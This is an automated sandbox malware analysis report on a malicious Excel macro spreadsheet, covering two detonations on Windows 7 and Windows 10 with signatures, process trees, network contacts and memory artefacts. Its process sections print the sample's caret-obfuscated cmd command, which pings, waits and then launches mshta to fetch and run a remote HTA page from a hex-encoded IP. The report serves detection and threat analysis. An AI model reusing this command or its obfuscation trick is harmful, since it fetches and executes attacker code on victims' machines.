Malware Analysis Report

2025-03-15 07:23

Sample ID 241111-zlcxzsyren
Target b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7
SHA256 b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7

Threat Level: Known bad

The file b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

System Network Configuration Discovery: Internet Connection Discovery

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Runs ping.exe

Delays execution with timeout.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 20:47

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 20:47

Reported

2024-11-11 20:50

Platform

win7-20240729-en

Max time kernel

60s

Max time network

37s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2540 wrote to memory of 2752 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 2540 wrote to memory of 2752 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 2540 wrote to memory of 2752 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 2540 wrote to memory of 2752 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cmd.exe
PID 2752 wrote to memory of 2288 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2752 wrote to memory of 2288 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2752 wrote to memory of 2288 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2752 wrote to memory of 2288 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2752 wrote to memory of 2944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2752 wrote to memory of 2944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2752 wrote to memory of 2944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2752 wrote to memory of 2944 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2752 wrote to memory of 2884 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\mshta.exe
PID 2752 wrote to memory of 2884 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\mshta.exe
PID 2752 wrote to memory of 2884 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\mshta.exe
PID 2752 wrote to memory of 2884 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\mshta.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l

C:\Windows\SysWOW64\PING.EXE

ping google.com

C:\Windows\SysWOW64\timeout.exe

timeout 4

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe5.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 google.com udp
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2540-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

memory/2540-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2540-2-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 20:47

Reported

2024-11-11 20:50

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

140s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\cmd.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b87fb667aa731cdb921994abeac31f7f69df167d3380d28c95b745cd2cddafb7.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l

C:\Windows\system32\PING.EXE

ping google.com

C:\Windows\system32\timeout.exe

timeout 4

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe5.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 google.com udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 23.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 100.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/4104-0-0x00007FFE1F66D000-0x00007FFE1F66E000-memory.dmp

memory/4104-1-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp

memory/4104-2-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp

memory/4104-3-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp

memory/4104-6-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-5-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-4-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp

memory/4104-8-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-7-0x00007FFDDF650000-0x00007FFDDF660000-memory.dmp

memory/4104-12-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-11-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-13-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-15-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-14-0x00007FFDDD530000-0x00007FFDDD540000-memory.dmp

memory/4104-16-0x00007FFDDD530000-0x00007FFDDD540000-memory.dmp

memory/4104-10-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-9-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-26-0x00007FFE1F66D000-0x00007FFE1F66E000-memory.dmp

memory/4104-27-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-29-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

memory/4104-30-0x00007FFE1F5D0000-0x00007FFE1F7C5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 888357bfc46379ab9c97482433e29f55
SHA1 cc6135d548eaa39dca58f83820ccb9aa389cb94b
SHA256 0102b7a5d59ded5d1f780539f43fcc120f0dfb47cab0025ec00629320b69b3cd
SHA512 9e85939a3279c77508055c02c985ead01fd0d2b7e00593c6b495845f929744f630516e552126a0685d5911de1b34100f5f9acc0c944383f02705297d7c06e767